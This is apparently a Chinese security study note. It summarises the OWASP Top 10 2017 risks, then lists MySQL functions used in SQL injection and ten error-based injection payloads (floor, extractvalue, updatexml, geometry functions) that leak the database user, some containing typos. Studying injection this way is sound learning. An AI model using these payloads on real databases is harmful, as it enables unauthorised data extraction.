1. 程式人生 > 資料庫 >OWASP Top 10 2017 SQL常用函式

OWASP Top 10 2017 SQL常用函式

OWASP Top 10 2017

  • 網址

    • http://www.owasp.org.cn/owasp-project/OWASPTop102017v1.3.pdf
  • 概述

    • 10項最嚴重的 Web 應用程式安全風險
    • 注入
    • 失效的身份認證
    • 敏感資訊洩露
    • XML外部實體(XXE)
    • 失效的訪問控制
    • 安全配置錯誤
    • 跨站指令碼(XSS)
    • 不安全的反序列化
    • 使用含有已知漏洞的元件
    • 不足的日誌記錄和監控

應用安全風險–2017

  • A1:2017-注入

    • 將不受信任的資料作為命令或查詢的一部分發送到解析器時
    • 會產生諸如SQL注入、NoSQL注入、OS 注入和LDAP注入的注入缺陷
    • 攻擊者的惡意資料可以誘使解析器在沒有適當授權的情況下執行非預期命令或訪問資料
  • A2:2017-失效的身份認證

    • 通常,通過錯誤使用應用程式的身份認證和會話管理功能
    • 攻擊者能夠破譯密碼、金鑰或會話令牌
    • 或者利用其它開發缺陷來暫時性或永久性冒充其他使用者的身份
  • A3:2017-敏感資料洩露

    • 許多Web應用程式和API都無法正確保護敏感資料
    • 例如:財務資料、醫療資料和PII資料
    • 攻擊者可以通過竊取或修改未加密的資料來實施信用卡詐騙、身份盜竊或其他犯罪行為
    • 未加密的敏感資料容易受到破壞,因此,我們需要對敏感資料加密
    • 這些資料包括:傳輸過程中的資料、儲存的資料以及瀏覽器的互動資料
  • A4:2017-XML 外部實體(XXE)

    • 許多較早的或配置錯誤的XML處理器評估了XML檔案中的外部實體引用
    • 攻擊者可以利用外部實體竊 取使用URI檔案處理器的內部檔案和共享檔案、監聽內部掃描埠、執行遠端程式碼和實施拒絕服務攻擊
  • A5:2017-失效的訪問控制

    • 未對通過身份驗證的使用者實施恰當的訪問控制
    • 攻擊者可以利用這些缺陷訪問未經授權的功能或資料
    • 例如:訪問其他使用者的帳戶、檢視敏感檔案、修改其他使用者的資料、更改訪問許可權等。
  • A6:2017-安全配置錯誤

    • 安全配置錯誤是最常見的安全問題
    • 這通常是由於不安全的預設配置、不完整的臨時配置、開源雲 儲存、錯誤的 HTTP 標頭配置以及包含敏感資訊的詳細錯誤資訊所造成的
    • 因此,我們不僅需要對所 有的作業系統、框架、庫和應用程式進行安全配置,而且必須及時修補和升級它們
  • A7:2017跨站指令碼(XSS)

    • 當應用程式的新網頁中包含不受信任的、未經恰當驗證或轉義的資料時,或者使用可以建立 HTML或 JavaScript 的瀏覽器 API 更新現有的網頁時,就會出現 XSS 缺陷
    • XSS 讓攻擊者能夠在受害者的瀏覽器中執行指令碼,並劫持使用者會話、破壞網站或將使用者重定向到惡意站點
  • A8:2017-不安全的反序列化

    • 不安全的反序列化會導致遠端程式碼執行
    • 即使反序列化缺陷不會導致遠端程式碼執行,攻擊者也可以利用它們來執行攻擊
    • 包括:重播攻擊、注入攻擊和特權升級攻擊
  • A9:2017-使用含有已知漏洞的元件

    • 元件(例如:庫、框架和其他軟體模組)擁有和應用程式相同的許可權
    • 如果應用程式中含有已知漏洞的元件被攻擊者利用,可能會造成嚴重的資料丟失或伺服器接管
    • 同時,使用含有已知漏洞的元件的應用程式和API可能會破壞應用程式防禦、造成各種攻擊併產生嚴重影響
  • A10:2017-不足的日誌記錄和監控

    • 不足的日誌記錄和監控,以及事件響應缺失或無效的整合
    • 使攻擊者能夠進一步攻擊系統、保持持續性或轉向更多系統
    • 以及篡改、提取或銷燬資料
    • 大多數缺陷研究顯示,缺陷被檢測出的時間超過200天,且通常通過外部檢測方檢測,而不是通過內部流程或監控檢測

SQL注入

SQL常用函式

  • SQL常用函式
    • MID(要擷取的字串,起始位置,結束位置) 擷取字串
    • CHAR(ASCII) 返回ASCII碼對應的字元
    • ASCII(字元) 返回字元對應的ASCII碼
    • IF(邏輯表示式,返回值1,返回值2) 用於判斷
    • SUBSTR(要擷取的字串,起始位置,結束位置) 擷取字串
    • LENGTH(字串) 返回字串長度
    • COUT(列名) 返回當前列名下有效記錄數
    • SLEEP(s) 靜止s秒,數字型別,可自定義
    • # /**/ -- 註釋符
    • CONCAT(字串1,字串2...) 拼接字串
    • LOAD_FILE(檔名稱) 載入檔案
    • INTO OUTFILE '檔名稱' 輸出

常用十大報錯函式

  • floor()

    • select * from test where id=1 and (select 1 from (select count(*), concat(user(), floor(rand(0)*2)) x from information_schema.tables group by x) a);
  • extractvalue()

    • select * from test where id=1 and (extractvalue(1, conact(0x7e, (select user()),0x7e)));
  • updatexml()

    • select * from test where id=1 and (updatexml(1, conact(0x7e, (select user()), 0x7e), 1));
  • geometrycollection()

    • select * from test where id=1 and geometrycollection((select * from (select * from (select user()) a) b));
  • multipoint()

    • select * from test where id=1 and multipoint((select * from (select * from (select user()) a) b));
  • polygon()

    • select * from test where id=1 and polyon((select * from (select * from (select user()) a) b));
  • multipolygon()

    • select * from test where id=1 and multipolygon((select * from (select * from (select user()) a) b));
  • linestring()

    • select * from test where id=1 and linestring((select * from (select * from (select user()) a) b));
  • multilinestring()

    • select * from test where id=1 and multilinestring((select * from (select * from (select user()) a) b));
  • exp()

    • select * from test where id=1 and exp(~(select * from (select user()) a));